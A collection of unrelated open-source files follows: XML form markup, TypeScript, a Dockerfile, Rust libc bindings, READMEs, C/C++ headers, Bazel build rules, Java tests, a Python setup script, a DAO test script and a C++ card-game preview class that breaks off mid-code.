name="СписокАвторРасширеннаяПодсказка" id="26"/> </LabelField> <LabelField name="СписокСсылка" id="27"> <DataPath>Список.Ссылка</DataPath> <UserVisible> <xr:Common>false</xr:Common> </UserVisible> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Ссылка</v8:content> </v8:item> </Title> <Width>1</Width> <ContextMenu name="СписокСсылкаКонтекстноеМеню" id="28"/> <ExtendedTooltip name="СписокСсылкаРасширеннаяПодсказка" id="29"/> </LabelField> </ChildItems> </Table> </ChildItems> <Attributes> <Attribute name="ИменаХранилищФайлов" id="2"> <Type> <v8:Type>v8:ValueListType</v8:Type> </Type> </Attribute> <Attribute name="ИмяХранилищаФайлов" id="3"> <Type> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </Type> </Attribute> <Attribute name="Том" id="4"> <Type> <v8:Type>cfg:CatalogRef.ТомаХраненияФайлов</v8:Type> </Type> </Attribute> <Attribute name="ПредставлениеХранилищаФайлов" id="5"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Владелец файлов</v8:content> </v8:item> </Title> <Type> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </Type> </Attribute> <Attribute name="Список" id="6"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Список</v8:content> </v8:item> </Title> <Type> <v8:Type>cfg:DynamicList</v8:Type> </Type> <MainAttribute>true</MainAttribute> <UseAlways> <Field>Список.Ссылка</Field> <Field>Список.ЭтоПрисоединенныеФайлы</Field> </UseAlways> <Settings xsi:type="DynamicList"> <ManualQuery>true</ManualQuery> <DynamicDataRead>true</DynamicDataRead> <QueryText>ВЫБРАТЬ ХранилищеФайловПереопределяемый.Ссылка КАК Ссылка, 1 КАК ИндексКартинки, ВЫРАЗИТЬ("" КАК СТРОКА) КАК ПутьКФайлу, ВЫРАЗИТЬ(0 КАК ЧИСЛО(10, 0)) КАК Размер, ЗНАЧЕНИЕ(Справочник.Пользователи.ПустаяСсылка) КАК Автор, ЛОЖЬ КАК ЭтоПрисоединенныеФайлы ИЗ Справочник.ТомаХраненияФайлов КАК ХранилищеФайловПереопределяемый</QueryText> <MainTable>Catalog.ТомаХраненияФайлов</MainTable> <ListSettings> <dcsset:filter> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>dfcece9d-5077-440b-b6b3-45a5cb4538eb</dcsset:userSettingID> </dcsset:filter> <dcsset:order> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>88619765-ccb3-46c6-ac52-38e9c992ebd4</dcsset:userSettingID> </dcsset:order> <dcsset:conditionalAppearance> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>b75fecce-942b-4aed-abc9-e6a02e460fb3</dcsset:userSettingID> </dcsset:conditionalAppearance> <dcsset:itemsViewMode>Normal</dcsset:itemsViewMode> <dcsset:itemsUserSettingID>911b6018-f537-43e8-a417-da56b22f9aec</dcsset:itemsUserSettingID> </ListSettings> </Settings> </Attribute> </Attributes> <Parameters> <Parameter name="Том"> <Type> <v8:Type>cfg:CatalogRef.ТомаХраненияФайлов</v8:Type> </Type> </Parameter> </Parameters> </Form>
{ "pile_set_name": "Github" }
import { Entity } from './entity'; import { DisabledRequest } from '../../../../controller/controller.session.tab.search.disabled'; export class EntityData<T> { private _entries: Entity<T>[] | undefined; private _disabled: Entity<DisabledRequest>[] | undefined; constructor(params: { entities?: Entity<T>[], disabled?: Entity<DisabledRequest>[], }) { this._entries = params.entities instanceof Array ? params.entities : undefined; this._disabled = params.disabled instanceof Array ? params.disabled : undefined; } public get entries(): Entity<T>[] | undefined { return this._entries; } public get disabled(): Entity<DisabledRequest>[] | undefined { return this._disabled; } }
{ "pile_set_name": "Github" }
FROM ubuntu:16.04 MAINTAINER Amazon AI <[email protected]> RUN apt-get -y update && apt-get install -y --no-install-recommends \ wget \ python \ nginx \ ca-certificates \ && rm -rf /var/lib/apt/lists/* RUN wget https://bootstrap.pypa.io/get-pip.py && python get-pip.py && \ pip install numpy scipy scikit-learn pandas flask gevent gunicorn s3fs && \ (cd /usr/local/lib/python2.7/dist-packages/scipy/.libs; rm *; ln ../../numpy/.libs/* .) && \ rm -rf /root/.cache ENV PYTHONUNBUFFERED=TRUE ENV PYTHONDONTWRITEBYTECODE=TRUE ENV PATH="/opt/program:${PATH}" COPY /decision_trees /opt/program RUN mkdir -p /opt/ml/input/data RUN mkdir -p /opt/ml/output RUN mkdir -p /opt/ml/model COPY /hyperparameters.json /opt/ml/input/config/hyperparameters.json RUN mkdir -p /opt/ml/input/data/training WORKDIR /opt/program
{ "pile_set_name": "Github" }
// APIs that changed in FreeBSD12 pub type nlink_t = u64; pub type dev_t = u64; pub type ino_t = ::c_ulong; pub type shmatt_t = ::c_uint; s! { pub struct shmid_ds { pub shm_perm: ::ipc_perm, pub shm_segsz: ::size_t, pub shm_lpid: ::pid_t, pub shm_cpid: ::pid_t, pub shm_nattch: ::shmatt_t, pub shm_atime: ::time_t, pub shm_dtime: ::time_t, pub shm_ctime: ::time_t, } pub struct kevent { pub ident: ::uintptr_t, pub filter: ::c_short, pub flags: ::c_ushort, pub fflags: ::c_uint, pub data: ::intptr_t, pub udata: *mut ::c_void, pub ext: [u64; 4], } } s_no_extra_traits! { pub struct dirent { pub d_fileno: ::ino_t, pub d_off: ::off_t, pub d_reclen: u16, pub d_type: u8, d_pad0: u8, pub d_namlen: u16, d_pad1: u16, pub d_name: [::c_char; 256], } pub struct statfs { pub f_version: u32, pub f_type: u32, pub f_flags: u64, pub f_bsize: u64, pub f_iosize: u64, pub f_blocks: u64, pub f_bfree: u64, pub f_bavail: i64, pub f_files: u64, pub f_ffree: i64, pub f_syncwrites: u64, pub f_asyncwrites: u64, pub f_syncreads: u64, pub f_asyncreads: u64, f_spare: [u64; 10], pub f_namemax: u32, pub f_owner: ::uid_t, pub f_fsid: ::fsid_t, f_charspare: [::c_char; 80], pub f_fstypename: [::c_char; 16], pub f_mntfromname: [::c_char; 1024], pub f_mntonname: [::c_char; 1024], } } cfg_if! { if #[cfg(feature = "extra_traits")] { impl PartialEq for statfs { fn eq(&self, other: &statfs) -> bool { self.f_version == other.f_version && self.f_type == other.f_type && self.f_flags == other.f_flags && self.f_bsize == other.f_bsize && self.f_iosize == other.f_iosize && self.f_blocks == other.f_blocks && self.f_bfree == other.f_bfree && self.f_bavail == other.f_bavail && self.f_files == other.f_files && self.f_ffree == other.f_ffree && self.f_syncwrites == other.f_syncwrites && self.f_asyncwrites == other.f_asyncwrites && self.f_syncreads == other.f_syncreads && self.f_asyncreads == other.f_asyncreads && self.f_namemax == other.f_namemax && self.f_owner == other.f_owner && self.f_fsid == other.f_fsid && self.f_fstypename == other.f_fstypename && self .f_mntfromname .iter() .zip(other.f_mntfromname.iter()) .all(|(a,b)| a == b) && self .f_mntonname .iter() .zip(other.f_mntonname.iter()) .all(|(a,b)| a == b) } } impl Eq for statfs {} impl ::fmt::Debug for statfs { fn fmt(&self, f: &mut ::fmt::Formatter) -> ::fmt::Result { f.debug_struct("statfs") .field("f_bsize", &self.f_bsize) .field("f_iosize", &self.f_iosize) .field("f_blocks", &self.f_blocks) .field("f_bfree", &self.f_bfree) .field("f_bavail", &self.f_bavail) .field("f_files", &self.f_files) .field("f_ffree", &self.f_ffree) .field("f_syncwrites", &self.f_syncwrites) .field("f_asyncwrites", &self.f_asyncwrites) .field("f_syncreads", &self.f_syncreads) .field("f_asyncreads", &self.f_asyncreads) .field("f_namemax", &self.f_namemax) .field("f_owner", &self.f_owner) .field("f_fsid", &self.f_fsid) .field("f_fstypename", &self.f_fstypename) .field("f_mntfromname", &&self.f_mntfromname[..]) .field("f_mntonname", &&self.f_mntonname[..]) .finish() } } impl ::hash::Hash for statfs { fn hash<H: ::hash::Hasher>(&self, state: &mut H) { self.f_version.hash(state); self.f_type.hash(state); self.f_flags.hash(state); self.f_bsize.hash(state); self.f_iosize.hash(state); self.f_blocks.hash(state); self.f_bfree.hash(state); self.f_bavail.hash(state); self.f_files.hash(state); self.f_ffree.hash(state); self.f_syncwrites.hash(state); self.f_asyncwrites.hash(state); self.f_syncreads.hash(state); self.f_asyncreads.hash(state); self.f_namemax.hash(state); self.f_owner.hash(state); self.f_fsid.hash(state); self.f_charspare.hash(state); self.f_fstypename.hash(state); self.f_mntfromname.hash(state); self.f_mntonname.hash(state); } } impl PartialEq for dirent { fn eq(&self, other: &dirent) -> bool { self.d_fileno == other.d_fileno && self.d_off == other.d_off && self.d_reclen == other.d_reclen && self.d_type == other.d_type && self.d_namlen == other.d_namlen && self .d_name[..self.d_namlen as _] .iter() .zip(other.d_name.iter()) .all(|(a,b)| a == b) } } impl Eq for dirent {} impl ::fmt::Debug for dirent { fn fmt(&self, f: &mut ::fmt::Formatter) -> ::fmt::Result { f.debug_struct("dirent") .field("d_fileno", &self.d_fileno) .field("d_off", &self.d_off) .field("d_reclen", &self.d_reclen) .field("d_type", &self.d_type) .field("d_namlen", &self.d_namlen) .field("d_name", &&self.d_name[..self.d_namlen as _]) .finish() } } impl ::hash::Hash for dirent { fn hash<H: ::hash::Hasher>(&self, state: &mut H) { self.d_fileno.hash(state); self.d_off.hash(state); self.d_reclen.hash(state); self.d_type.hash(state); self.d_namlen.hash(state); self.d_name[..self.d_namlen as _].hash(state); } } } } pub const F_ADD_SEALS: ::c_int = 19; pub const F_GET_SEALS: ::c_int = 20; pub const F_SEAL_SEAL: ::c_int = 0x0001; pub const F_SEAL_SHRINK: ::c_int = 0x0002; pub const F_SEAL_GROW: ::c_int = 0x0004; pub const F_SEAL_WRITE: ::c_int = 0x0008; cfg_if! { if #[cfg(not(freebsd13))] { pub const ELAST: ::c_int = 96; } else { pub const EINTEGRITY: ::c_int = 97; pub const ELAST: ::c_int = 97; } } extern "C" { pub fn setgrent(); pub fn mprotect( addr: *mut ::c_void, len: ::size_t, prot: ::c_int, ) -> ::c_int; pub fn freelocale(loc: ::locale_t); pub fn msgrcv( msqid: ::c_int, msgp: *mut ::c_void, msgsz: ::size_t, msgtyp: ::c_long, msgflg: ::c_int, ) -> ::ssize_t; } cfg_if! { if #[cfg(any(target_arch = "x86_64", target_arch = "aarch64"))] { mod b64; pub use self::b64::*; } }
{ "pile_set_name": "Github" }
Chart.js ======= *Simple HTML5 Charts using the canvas element* [chartjs.org](http://www.chartjs.org) Competition! ------- The guys at ChallengePost are running a competition to design and build a personal dashboard using Chart.js, and are offering some great prizes for winning. Take a look at [chartjs.challengepost.com](http://chartjs.challengepost.com/). Documentation ------- You can find documentation at [chartjs.org/docs](http://www.chartjs.org/docs). License ------- Chart.js was taken down on the 19th March. It is now back online for good and IS available under MIT license. Chart.js is available under the [MIT license] (http://opensource.org/licenses/MIT).
{ "pile_set_name": "Github" }
/* libFLAC - Free Lossless Audio Codec library * Copyright (C) 2001,2002,2003,2004,2005,2006,2007 Josh Coalson * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * - Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * - Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * - Neither the name of the Xiph.org Foundation nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef FLAC__ASSERT_H #define FLAC__ASSERT_H /* we need this since some compilers (like MSVC) leave assert()s on release code (and we don't want to use their ASSERT) */ #ifdef DEBUG #include <assert.h> #define FLAC__ASSERT(x) assert(x) #define FLAC__ASSERT_DECLARATION(x) x #else #define FLAC__ASSERT(x) #define FLAC__ASSERT_DECLARATION(x) #endif #endif
{ "pile_set_name": "Github" }
package(default_visibility = ["//visibility:public"]) load( "@io_bazel_rules_go//go:def.bzl", "go_library", "go_test", ) go_test( name = "go_default_test", srcs = [ "dial_test.go", "transport_test.go", "upgradeaware_test.go", ], library = ":go_default_library", deps = [ "//vendor/github.com/stretchr/testify/assert:go_default_library", "//vendor/github.com/stretchr/testify/require:go_default_library", "//vendor/golang.org/x/net/websocket:go_default_library", "//vendor/k8s.io/apimachinery/pkg/util/diff:go_default_library", "//vendor/k8s.io/apimachinery/pkg/util/httpstream:go_default_library", "//vendor/k8s.io/apimachinery/pkg/util/net:go_default_library", ], ) go_library( name = "go_default_library", srcs = [ "dial.go", "doc.go", "transport.go", "upgradeaware.go", ], deps = [ "//vendor/github.com/golang/glog:go_default_library", "//vendor/github.com/mxk/go-flowrate/flowrate:go_default_library", "//vendor/golang.org/x/net/html:go_default_library", "//vendor/golang.org/x/net/html/atom:go_default_library", "//vendor/k8s.io/apimachinery/pkg/api/errors:go_default_library", "//vendor/k8s.io/apimachinery/pkg/util/httpstream:go_default_library", "//vendor/k8s.io/apimachinery/pkg/util/net:go_default_library", "//vendor/k8s.io/apimachinery/pkg/util/runtime:go_default_library", "//vendor/k8s.io/apimachinery/pkg/util/sets:go_default_library", "//vendor/k8s.io/apimachinery/third_party/forked/golang/netutil:go_default_library", ], ) filegroup( name = "package-srcs", srcs = glob(["**"]), tags = ["automanaged"], visibility = ["//visibility:private"], ) filegroup( name = "all-srcs", srcs = [":package-srcs"], tags = ["automanaged"], )
{ "pile_set_name": "Github" }
/* * Copyright 2018 The Error Prone Authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.errorprone.bugpatterns.time; import com.google.errorprone.CompilationTestHelper; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.JUnit4; /** Tests for {@link JodaToSelf}. */ @RunWith(JUnit4.class) public class JodaToSelfTest { private final CompilationTestHelper helper = CompilationTestHelper.newInstance(JodaToSelf.class, getClass()); @Test public void durationWithSeconds() { helper .addSourceLines( "TestClass.java", "import org.joda.time.Duration;", "public class TestClass {", " // BUG: Diagnostic contains: private static final Duration DUR = Duration.ZERO;", " private static final Duration DUR = Duration.ZERO.toDuration();", "}") .doTest(); } @Test public void durationWithSecondsNamedVariable() { helper .addSourceLines( "TestClass.java", "import org.joda.time.Duration;", "public class TestClass {", " private static final Duration DURATION1 = Duration.ZERO;", " // BUG: Diagnostic contains: private static final Duration DURATION2 = DURATION1;", " private static final Duration DURATION2 = DURATION1.toDuration();", "}") .doTest(); } @Test public void durationWithSecondsInsideJodaTime() { helper .addSourceLines( "TestClass.java", "package org.joda.time;", "public class TestClass {", " private static final Duration DURATION = Duration.ZERO.toDuration();", "}") .doTest(); } @Test public void durationWithSecondsPrimitiveImportClash() { helper .addSourceLines( "TestClass.java", "import org.joda.time.Duration;", "public class TestClass {", " private static final org.joda.time.Duration DURATION = ", " // BUG: Diagnostic contains: org.joda.time.Duration.ZERO;", " org.joda.time.Duration.ZERO.toDuration();", "}") .doTest(); } @Test public void dateTimeConstructor() { helper .addSourceLines( "TestClass.java", "import org.joda.time.DateTime;", "public class TestClass {", " DateTime test(DateTime dt) {", " // BUG: Diagnostic contains: return dt;", " return new DateTime(dt);", " }", "}") .doTest(); } @Test public void dateTimeConstructorInstant() { helper .addSourceLines( "TestClass.java", "import org.joda.time.DateTime;", "import org.joda.time.Instant;", "public class TestClass {", " DateTime test(Instant i) {", " return new DateTime(i);", " }", "}") .doTest(); } }
{ "pile_set_name": "Github" }
import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) README = open(os.path.join(here, 'README.txt')).read() CHANGES = open(os.path.join(here, 'CHANGES.txt')).read() requires = [ 'pyramid', 'pyramid_chameleon', 'SQLAlchemy', 'transaction', 'pyramid_tm', 'pyramid_debugtoolbar', 'zope.sqlalchemy', 'waitress', 'pyramid_simpleform', 'cryptacular', 'WebTest', 'pyramid-mailer' ] setup(name='notejam', version='0.0', description='notejam', long_description=README + '\n\n' + CHANGES, classifiers=[ "Programming Language :: Python", "Framework :: Pyramid", "Topic :: Internet :: WWW/HTTP", "Topic :: Internet :: WWW/HTTP :: WSGI :: Application", ], author='', author_email='', url='', keywords='web wsgi bfg pylons pyramid', packages=find_packages(), include_package_data=True, zip_safe=False, test_suite='notejam', install_requires=requires, entry_points="""\ [paste.app_factory] main = notejam:main [console_scripts] initialize_notejam_db = notejam.scripts.initializedb:main """, )
{ "pile_set_name": "Github" }
var amounts = $amounts; var dao = web3.eth.contract($dao_abi).at('$dao_address'); console.log("Creating DAO tokens"); if (eth.accounts.length<5) { console.log("For this test, at least 5 accounts must be created."); } for (i = 0; i < amounts.length; i++) { web3.eth.sendTransaction({ from:eth.accounts[i], to: dao.address, gas:1000000, value:web3.toWei(amounts[i], "ether") } /* , function(err, res) { if (err) { console.log(err); } console.log("succes: " + res); } */); } checkWork(); setTimeout(function() { miner.stop(); addToTest('dao_fueled', dao.isFueled()); addToTest('total_supply', parseFloat(web3.fromWei(dao.totalSupply()))); var balances = []; for (i = 0; i < amounts.length; i++) { balances.push(parseFloat(web3.fromWei(dao.balanceOf(eth.accounts[i])))); } addToTest('balances', balances); testResults(); }, $wait_ms); console.log("Wait for end of creation"); miner.start(1);
{ "pile_set_name": "Github" }
{ "": [ "--------------------------------------------------------------------------------------------", "Copyright (c) Microsoft Corporation. All rights reserved.", "Licensed under the Source EULA. See License.txt in the project root for license information.", "--------------------------------------------------------------------------------------------", "Do not edit this file. It is machine generated." ], "connectionAdvancedProperties": "高度なプロパティ", "advancedProperties.discard": "破棄" }
{ "pile_set_name": "Github" }
#include "CardPreview.h" #include "cocos/base/CCDirector.h" #include "Engine/Input/ClickableTextNode.h" #include "Engine/Localization/ConstantString.h" #include "Engine/Localization/LocalizedLabel.h" #include "Engine/Localization/LocalizedString.h" #include "Engine/Utils/HackUtils.h" #include "Scenes/Hexus/CardData/CardData.h" #include "Scenes/Hexus/CardData/CardKeys.h" #include "Scenes/Hexus/CardRow.h" #include "Scenes/Hexus/Config.h" #include "Scenes/Hexus/GameState.h" #include "Resources/HexusResources.h" #include "Resources/UIResources.h" #include "Strings/Strings.h" using namespace cocos2d; CardPreview* CardPreview::create() { CardPreview* instance = new CardPreview(); instance->autorelease(); return instance; } CardPreview::CardPreview() { this->cardPad = Sprite::create(HexusResources::CardPad); this->previewPanel = Node::create(); this->currentPreviewData = PreviewData(); this->previewCache = std::map<std::string, PreviewData>(); LocalizedLabel* helpLabel = LocalizedLabel::create(LocalizedLabel::FontStyle::Main, LocalizedLabel::FontSize::H3, Strings::Menus_Help::create()); LocalizedLabel* helpLabelSelected = helpLabel->clone(); helpLabel->enableOutline(Color4B::BLACK, 2); helpLabelSelected->enableOutline(Color4B::BLACK, 2); this->helpButton = ClickableTextNode::create( helpLabel, helpLabelSelected, UIResources::Menus_Buttons_SmallGenericButton, UIResources::Menus_Buttons_SmallGenericButtonSelected ); this->addChild(this->cardPad); this->addChild(this->previewPanel); this->addChild(this->helpButton); } CardPreview::~CardPreview() { } void CardPreview::onEnter() { super::onEnter(); this->clearPreview(); } void CardPreview::initializePositions() { super::initializePositions(); this->helpButton->setPosition(Vec2(0.0f, -212.0f)); } void CardPreview::setHelpClickCallback(std::function<void(CardData*)> onHelpClick) { this->onHelpClick = onHelpClick; this->helpButton->setMouseClickCallback([=](InputEvents::MouseEventArgs*) { if (this->onHelpClick != nullptr) { this->onHelpClick(this->currentPreviewData.cardData); } }); } void CardPreview::clearPreview() { this->previewCard(nullptr); } void CardPreview::previewCard(Card* card) { this->helpButton->setVisible(false); if (this->currentPreviewData.previewNode != nullptr) { this->currentPreviewData.previewNode->setVisible(false); } if (card == nullptr) { return; } this->previewCardData(card->cardData, card); } void CardPreview::previewCardData(CardData* cardData, Card* card) { if (this->currentPreviewData.previewNode != nullptr) { this->currentPreviewData.previewNode->setVisible(false); } if (this->previewCache.find(cardData->getCardKey()) != this->previewCache.end()) { this->currentPreviewData = this->previewCache[cardData->getCardKey()]; } else { this->currentPreviewData = this->constructPreview(cardData, card); this->previewCache[cardData->getCardKey()] = this->currentPreviewData; this->previewPanel->addChild(this->currentPreviewData.previewNode); } this->updatePreview(this->currentPreviewData, card); this->currentPreviewData.previewNode->setVisible(true); switch (cardData->getCardType()) { case CardData::CardType::Decimal: case CardData::CardType::Binary: case CardData::CardType::Hexidecimal: case CardData::CardType::Special_MOV: case CardData::CardType::Special_AND: case CardData::CardType::Special_OR: case CardData::CardType::Special_XOR: case CardData::CardType::Special_SHL: case CardData::CardType::Special_SHR: case CardData::CardType::Special_ROL: case CardData::CardType::Special_ROR: case CardData::CardType::Special_NOT: case CardData::CardType::Special_FLIP1: case CardData::CardType::Special_FLIP2: case CardData::CardType::Special_FLIP3: case CardData::CardType::Special_FLIP4: case CardData::CardType::Special_ADD: case CardData::CardType::Special_SUB: { this->helpButton->setVisible(true); break; } default: { this->helpButton->setVisible(false); break; } } } void CardPreview::updatePreview(PreviewData previewData, Card* refCard) { int originalAttack = previewData.cardData->getAttack(); int attack = (refCard == nullptr) ? originalAttack : refCard->getAttack(); switch (previewData.cardData->getCardType()) { case CardData::CardType::Decimal: case CardData::CardType::Binary: case CardData::CardType::Hexidecimal: { if (previewData.binStrRef != nullptr) { previewData.binStrRef->setString(HackUtils::toBinary4(attack)); } if (previewData.decStrRef != nullptr) { previewData.decStrRef->setString(std::to_string(attack)); } if (previewData.hexStrRef != nullptr) { previewData.hexStrRef->setString(HackUtils::toHex(attack)); } } default: { break; } } } CardPreview::PreviewData CardPreview::constructPreview(CardData* cardData, Card* card) { if (cardData == nullptr) { return PreviewData(); } Node* preview = Node::create(); ConstantString* binStrRef = nullptr; ConstantString* decStrRef = nullptr; ConstantString* hexStrRef = nullptr; LocalizedLabel* binLabelRef = nullptr; LocalizedLabel* decLabelRef = nullptr; LocalizedLabel* hexLabelRef = nullptr; Card* cardClone = card == nullptr ? Card::create(Card::CardStyle::Earth, cardData, true, false) : card->clone(false); Size cardSize = cardClone->getContentSize(); cardClone->setScale(1.0f); cardClone->reveal(); cardClone->hideUI(); preview->addChild(cardClone); switch (cardData->getCardType()) { case CardData::CardType::Decimal: case CardData::CardType::Binary: case CardData::CardType::Hexidecimal: { int attack = card == nullptr ? cardData->getAttack() : card->getAttack(); // Show special effects if (cardData->getCardKey() == CardKeys::Binary0 || cardData->getCardKey() == CardKeys::Decimal0 || cardData->getCardKey() == CardKeys::Hex0 || cardData->getCardKey() == CardKeys::Decimal1 || cardData->getCardKey() == CardKeys::Hex1) { LocalizedLabel* specialLabel = nullptr; if (cardData->getCardKey() == CardKeys::Binary0) { specialLabel = LocalizedLabel::create(LocalizedLabel::FontStyle::Main, LocalizedLabel::FontSize::P, Strings::Hexus_CardDescriptions_NoDestroyEffect::create()); } else if (cardData->getCardKey() == CardKeys::Decimal0) { specialLabel = LocalizedLabel::create(LocalizedLabel::FontStyle::Main, LocalizedLabel::FontSize::P, Strings::Hexus_CardDescriptions_DrawEffect::create()); } else if (cardData->getCardKey() == CardKeys::Hex0) { specialLabel = LocalizedLabel::create(LocalizedLabel::FontStyle::Main, LocalizedLabel::FontSize::P, Strings::Hexus_CardDescriptions_TurnGainsEffect::create()); } else if (cardData->getCardKey() == CardKeys::Decimal1) { specialLabel = LocalizedLabel::create(LocalizedLabel::FontStyle::Main, LocalizedLabel::FontSize::P, Strings::Hexus_CardDescriptions_ReturnAfterRound::create()); } else if (cardData->getCardKey() == CardKeys::Hex1) { specialLabel = LocalizedLabel::create(LocalizedLabel::FontStyle::Main, LocalizedLabel::FontSize::P, Strings::Hexus_CardDescriptions_Horde::create()); } specialLabel->setAnchorPoint(Vec2(0.0f, 1.0f)); specialLabel->setTextColor(Card::SpecialColor); specialLabel->enableOutline(Color4B::BLACK, 2); specialLabel->setPosition(Vec2(-cardSize.width / 2.0f + 8.0f, 160.0f)); specialLabel->setDimensions(cardSize.width - 16.0f, 0.0f); preview->addChild(specialLabel); } LocalizedLabel* binaryLabel = LocalizedLabel::create(LocalizedLabel::FontStyle::Coding, LocalizedLabel::FontSize::H2, Strings::Hexus_BinLabel::create()); LocalizedLabel* decimalLabel = LocalizedLabel::create(LocalizedLabel::FontStyle::Coding, LocalizedLabel::FontSize::H2, Strings::Hexus_DecLabel::create()); LocalizedLabel* hexLabel = LocalizedLabel::create(LocalizedLabel::FontStyle::Coding, LocalizedLabel::FontSize::H2, Strings::Hexus_HexLabel::create()); ConstantString* binaryString = ConstantString::create(HackUtils::toBinary4(attack)); ConstantString* decimalString = ConstantString::create(std::to_string(attack)); ConstantString* hexString = ConstantString::create(HackUtils::toHex(attack)); binaryLabel->setStringReplacementVariables(binaryString); decimalLabel->setStringReplacementVariables(decimalString); hexLabel->setStringReplacementVariables(hexString); binaryLabel->setAnchorPoint(Vec2::ZERO); decimalLabel->setAnchorPoint(Vec2::ZERO); hexLabel->setAnchorPoint(Vec2::ZERO); binaryLabel->setTextColor(Card::BinaryColor); decimalLabel->setTextColor(Card::DecimalColor); hexLabel->setTextColor(Card::HexColor); binaryLabel->enableOutline(Color4B::BLACK, 3); decimalLabel->enableOutline(Color4B::BLACK, 3); hexLabel->enableOutline(Color4B::BLACK, 3); const float yOffset = -72.0f; binaryLabel->setPosition(Vec2(-cardSize.width / 2.0f + 8.0f, yOffset)); decimalLabel->setPosition(Vec2(-cardSize.width / 2.0f + 8.0f, yOffset - 40.0f)); hexLabel->setPosition(Vec2(-cardSize.width / 2.0f + 8.0f, yOffset - 80.0f)); binStrRef = binaryString; decStrRef = decimalString; hexStrRef = hexString; binLabelRef = binaryLabel; decLabelRef = decimalLabel; hexLabelRef = hexLabel; preview->addChild(binaryLabel); preview->addChild(decimalLabel); preview->addChild(hexLabel); break; } default: { LocalizedLabel* specialLabel = LocalizedLabel::create(LocalizedLabel::FontStyle::Main, LocalizedLabel::FontSize::P, Strings::Common_Empty::create()); specialLabel->setAnchorPoint(Vec2(0.0f, 0.0f)); specialLabel->setTextColor(Card::SpecialColor); specialLabel->enableOutline(Color4B::BLACK, 2); specialLabel->setPosition(Vec2(-cardSize.width / 2.0f + 8.0f, -160.0f)); specialLabel->setDimensions(cardSize.width - 16.0f, 0.0f); switch (cardData->getCardType()) { case CardData::CardType::Special_MOV: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_Mov::create()); break; } case CardData::CardType::Special_AND: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_LogicalAnd::create()); break; } case CardData::CardType::Special_OR: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_LogicalOr::create()); break; } case CardData::CardType::Special_XOR: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_LogicalXor::create()); break; } case CardData::CardType::Special_SHL: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_ShiftLeft::create()); break; } case CardData::CardType::Special_SHR: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_ShiftRight::create()); break; } case CardData::CardType::Special_ROL: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_ShiftLeftCircular::create()); break; } case CardData::CardType::Special_ROR: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_ShiftRightCircular::create()); break; } case CardData::CardType::Special_NOT: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_Inverse::create()); break; } case CardData::CardType::Special_FLIP1: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_Flip1::create()); break; } case CardData::CardType::Special_FLIP2: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_Flip2::create()); break; } case CardData::CardType::Special_FLIP3: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_Flip3::create()); break; } case CardData::CardType::Special_FLIP4: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_Flip4::create()); break; } case CardData::CardType::Special_ADD: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_Addition::create()); break; } case CardData::CardType::Special_SUB: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_Subtract::create()); break; } case CardData::CardType::Special_SUDDEN_DEATH: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_SuddenDeath::create()); break; } case CardData::CardType::Special_GREED: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_Greed::create()); break; } case CardData::CardType::Special_ABSORB: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_Absorb::create()); break; } case CardData::CardType::Special_KILL: { 